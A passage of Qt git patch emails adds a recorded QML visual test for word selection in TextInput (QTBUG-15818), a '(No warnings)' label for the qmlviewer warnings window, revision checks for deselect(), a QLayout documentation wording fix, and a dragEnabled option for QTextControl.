b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.4.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.5.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.5.png new file mode 100644 index 0000000..e2231ff Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.5.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.qml new file mode 100644 index 0000000..790dffa --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/qtbug-15818.qml @@ -0,0 +1,1039 @@ +import Qt.VisualTest 4.7 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + image: "qtbug-15818.0.png" + } + Frame { + msec: 32 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 48 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 64 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 80 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 96 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 112 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 128 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 144 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 160 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 176 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 192 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 208 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 224 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 240 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 256 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 272 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 288 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 304 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 320 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 336 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 352 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 368 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 384 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 400 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 416 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 432 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 448 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 464 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 480 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 496 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 512 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 528 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 544 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 560 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 576 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 592 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 608 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 624 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 640 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 656 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 672 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 688 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 704 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 720 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 736 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 752 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 768 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 784 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 800 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 816 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 832 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 848 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 864 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 880 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 26; y: 9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 896 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 912 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 928 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 27; y: 9 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 27; y: 9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 944 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 960 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 976 + image: "qtbug-15818.1.png" + } + Frame { + msec: 992 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Mouse { + type: 4 + button: 1 + buttons: 1 + x: 27; y: 9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1008 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1024 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1040 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1056 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1072 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1088 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1104 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 27; y: 9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1120 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1136 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1152 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1168 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1184 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1200 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1216 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1232 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1248 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1264 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1280 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1296 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1312 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1328 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1344 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1360 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1376 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1392 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1408 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1424 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1440 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1456 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1472 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1488 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1504 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1520 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1536 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1552 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1568 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1584 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1600 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1616 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1632 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1648 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1664 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1680 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1696 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1712 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1728 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1744 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1760 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1776 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1792 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 43; y: 9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1808 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 1824 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 1840 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 1856 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 1872 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 1888 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 43; y: 9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1904 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 1920 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 1936 + image: "qtbug-15818.2.png" + } + Frame { + msec: 1952 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Mouse { + type: 4 + button: 1 + buttons: 1 + x: 43; y: 9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1968 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 1984 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2000 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2016 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2032 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2048 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2064 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 43; y: 9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2080 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2096 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2112 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2128 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2144 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2160 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2176 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2192 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2208 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2224 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2240 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2256 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2272 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2288 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2304 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2320 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2336 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2352 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2368 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2384 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2400 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2416 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2432 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2448 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2464 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2480 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2496 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2512 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2528 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2544 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2560 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2576 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2592 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2608 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2624 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2640 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2656 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2672 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2688 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 54; y: 9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2704 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 2720 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 2736 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 2752 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 2768 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 2784 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 55; y: 9 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 55; y: 9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2800 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 2816 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 2832 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 2848 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Mouse { + type: 4 + button: 1 + buttons: 1 + x: 55; y: 9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2864 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2880 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2896 + image: "qtbug-15818.3.png" + } + Frame { + msec: 2912 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2928 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2944 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2960 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2976 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 55; y: 9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2992 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3008 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3024 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3040 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3056 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3072 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3088 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3104 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3120 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3136 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3152 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3168 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3184 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3200 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3216 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3232 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3248 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3264 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3280 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3296 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3312 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3328 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3344 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3360 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3376 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3392 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3408 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3424 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3440 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3456 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3472 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3488 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3504 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3520 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3536 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3552 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3568 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3584 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3600 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3616 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3632 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3648 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3664 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3680 + hash: "270462ec02bce658757e0ea4fb2136b1" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/qtbug-15818.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/qtbug-15818.qml new file mode 100644 index 0000000..59710a4 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/qtbug-15818.qml @@ -0,0 +1,13 @@ +import QtQuick 1.1 +//Test that doubleclicking on the front of a word only selects that word, and not the word in front + +Item{ + width: 200 + height: 100 + TextInput{ + anchors.fill: parent + readOnly: true + selectByMouse: true + text: "abc a cba test" + } +} -- cgit v0.12 From 7aae8a569809208318ad06017eda39c860c1b2a9 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Mon, 10 Jan 2011 15:29:03 +1000 Subject: Add no warnings label to qmlviewer warnings window Small developer usability improvement Task-number: Reviewed-by: Bea Lam --- tools/qml/loggerwidget.cpp | 15 +++++++++++++++ tools/qml/loggerwidget.h | 4 +++- 2 files changed, 18 insertions(+), 1 deletion(-) diff --git a/tools/qml/loggerwidget.cpp b/tools/qml/loggerwidget.cpp index f601d95..fb4fedc 100644 --- a/tools/qml/loggerwidget.cpp +++ b/tools/qml/loggerwidget.cpp @@ -45,6 +45,8 @@ #include #include #include +#include +#include #ifdef Q_WS_MAEMO_5 # include # include @@ -83,6 +85,14 @@ LoggerWidget::LoggerWidget(QWidget *parent) : setCentralWidget(m_plainTextEdit); #endif + m_noWarningsLabel = new QLabel(m_plainTextEdit); + m_noWarningsLabel->setText(tr("(No warnings)")); + m_noWarningsLabel->setAlignment(Qt::AlignVCenter | Qt::AlignHCenter); + QVBoxLayout *layout = new QVBoxLayout; + layout->addWidget(m_noWarningsLabel); + m_plainTextEdit->setLayout(layout); + connect(m_plainTextEdit, SIGNAL(textChanged()), this, SLOT(updateNoWarningsLabel())); + readSettings(); setupPreferencesMenu(); } @@ -207,4 +217,9 @@ void LoggerWidget::setupPreferencesMenu() } } +void LoggerWidget::updateNoWarningsLabel() +{ + m_noWarningsLabel->setVisible(m_plainTextEdit->toPlainText().length() == 0); +} + QT_END_NAMESPACE diff --git a/tools/qml/loggerwidget.h b/tools/qml/loggerwidget.h index 13c319f..27d4d0b 100644 --- a/tools/qml/loggerwidget.h +++ b/tools/qml/loggerwidget.h @@ -48,6 +48,7 @@ QT_BEGIN_NAMESPACE class QPlainTextEdit; +class QLabel; class QMenu; class QAction; @@ -66,6 +67,7 @@ public: public slots: void append(const QString &msg); + void updateNoWarningsLabel(); private slots: void warningsPreferenceChanged(QAction *action); @@ -86,7 +88,7 @@ private: QMenu *m_preferencesMenu; QAction *m_showWidgetAction; QPlainTextEdit *m_plainTextEdit; - + QLabel *m_noWarningsLabel; enum ConfigOrigin { CommandLineOrigin, SettingsOrigin }; ConfigOrigin m_visibilityOrigin; Visibility m_visibility; -- cgit v0.12 From 6a36f1f6299980cd0338009cb31e2a36cd40e44f Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Mon, 10 Jan 2011 15:40:11 +1000 Subject: Add property versioning checks for QtQuick 1.1 deselect() function Task-number: QTBUG-16059 Reviewed-by: Martin Jones --- src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp | 5 ++++- src/declarative/graphicsitems/qdeclarativetextedit_p.h | 2 +- src/declarative/graphicsitems/qdeclarativetextinput_p.h | 2 +- 3 files changed, 6 insertions(+), 3 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp index 7db4d85..0d386c6 100644 --- a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp @@ -179,8 +179,11 @@ void QDeclarativeItemModule::defineModule() qmlRegisterType("QtQuick",1,1,"PinchArea"); qmlRegisterType("QtQuick",1,1,"Pinch"); qmlRegisterType(); - qmlRegisterType("QtQuick",1,1,"Repeater"); + qmlRegisterType("QtQuick",1,1,"Repeater"); qmlRegisterType("QtQuick",1,1,"TextEdit"); +#ifndef QT_NO_LINEEDIT + qmlRegisterType("QtQuick",1,1,"TextInput"); +#endif #ifndef QT_NO_IMPORT_QT47_QML #ifdef QT_NO_MOVIE diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p.h index 6a05aa8..3e86a05 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextedit_p.h @@ -231,10 +231,10 @@ Q_SIGNALS: Q_REVISION(1) void linkActivated(const QString &link); public Q_SLOTS: - void deselect(); void selectAll(); void selectWord(); void select(int start, int end); + Q_REVISION(1) void deselect(); #ifndef QT_NO_CLIPBOARD void cut(); void copy(); diff --git a/src/declarative/graphicsitems/qdeclarativetextinput_p.h b/src/declarative/graphicsitems/qdeclarativetextinput_p.h index 25b8e66..5bff2ea 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextinput_p.h @@ -238,10 +238,10 @@ protected: void focusInEvent(QFocusEvent *event); public Q_SLOTS: - void deselect(); void selectAll(); void selectWord(); void select(int start, int end); + Q_REVISION(1) void deselect(); #ifndef QT_NO_CLIPBOARD void cut(); void copy(); -- cgit v0.12 From d95b1dd15f7aed243d7177a2096eb58080359d55 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 10 Jan 2011 13:40:21 +0100 Subject: Doc: Changed description to prevent confusion about managed widgets. --- src/gui/kernel/qlayout.cpp | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/gui/kernel/qlayout.cpp b/src/gui/kernel/qlayout.cpp index 5b526d4..fbede11 100644 --- a/src/gui/kernel/qlayout.cpp +++ b/src/gui/kernel/qlayout.cpp @@ -980,10 +980,10 @@ void QLayoutPrivate::reparentChildWidgets(QWidget *mw) /*! This function is called from \c addWidget() functions in - subclasses to add \a w as a child widget. + subclasses to add \a w as a managed widget of a layout. - If \a w is already in a layout, this function will give a warning - and remove \a w from the layout. This function must therefore be + If \a w is already managed by a layout, this function will give a warning + and remove \a w from that layout. This function must therefore be called before adding \a w to the layout's data structure. */ void QLayout::addChildWidget(QWidget *w) -- cgit v0.12 From 7d43a31902ca6d2132004c45db313194c9669bb6 Mon Sep 17 00:00:00 2001 From: Andrew den Exter Date: Mon, 10 Jan 2011 18:11:19 +1000 Subject: Disable dragging text in TextEdit. Add a dragEnabled property to QTextControl so text dragging can optionally be disabled. Task-number: QTBUG-16248 Reviewed-by: Martin Jones --- .../graphicsitems/qdeclarativetextedit.cpp | 1 + src/gui/text/qtextcontrol.cpp | 17 +++++++- src/gui/text/qtextcontrol_p.h | 3 ++ src/gui/text/qtextcontrol_p_p.h | 2 + .../tst_qdeclarativetextedit.cpp | 46 ++++++++++++++++++++++ .../data/mouseselection_true.qml | 7 ++++ .../tst_qdeclarativetextinput.cpp | 45 +++++++++++++++++++++ 7 files changed, 120 insertions(+), 1 deletion(-) create mode 100644 tests/auto/declarative/qdeclarativetextinput/data/mouseselection_true.qml diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp index 7ea3dec..c1c7a0c 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp @@ -1342,6 +1342,7 @@ void QDeclarativeTextEditPrivate::init() control = new QTextControl(q); control->setIgnoreUnusedNavigationEvents(true); control->setTextInteractionFlags(control->textInteractionFlags() | Qt::LinksAccessibleByMouse); + control->setDragEnabled(false); // QTextControl follows the default text color // defined by the platform, declarative text diff --git a/src/gui/text/qtextcontrol.cpp b/src/gui/text/qtextcontrol.cpp index 7f2c4e9..548d81e 100644 --- a/src/gui/text/qtextcontrol.cpp +++ b/src/gui/text/qtextcontrol.cpp @@ -114,6 +114,7 @@ static QTextLine currentTextLine(const QTextCursor &cursor) QTextControlPrivate::QTextControlPrivate() : doc(0), cursorOn(false), cursorIsFocusIndicator(false), interactionFlags(Qt::TextEditorInteraction), + dragEnabled(true), #ifndef QT_NO_DRAGANDDROP mousePressed(false), mightStartDrag(false), #endif @@ -1551,7 +1552,8 @@ void QTextControlPrivate::mousePressEvent(QEvent *e, Qt::MouseButton button, con setCursorPosition(cursorPos, QTextCursor::KeepAnchor); } else { - if (cursor.hasSelection() + if (dragEnabled + && cursor.hasSelection() && !cursorIsFocusIndicator && cursorPos >= cursor.selectionStart() && cursorPos <= 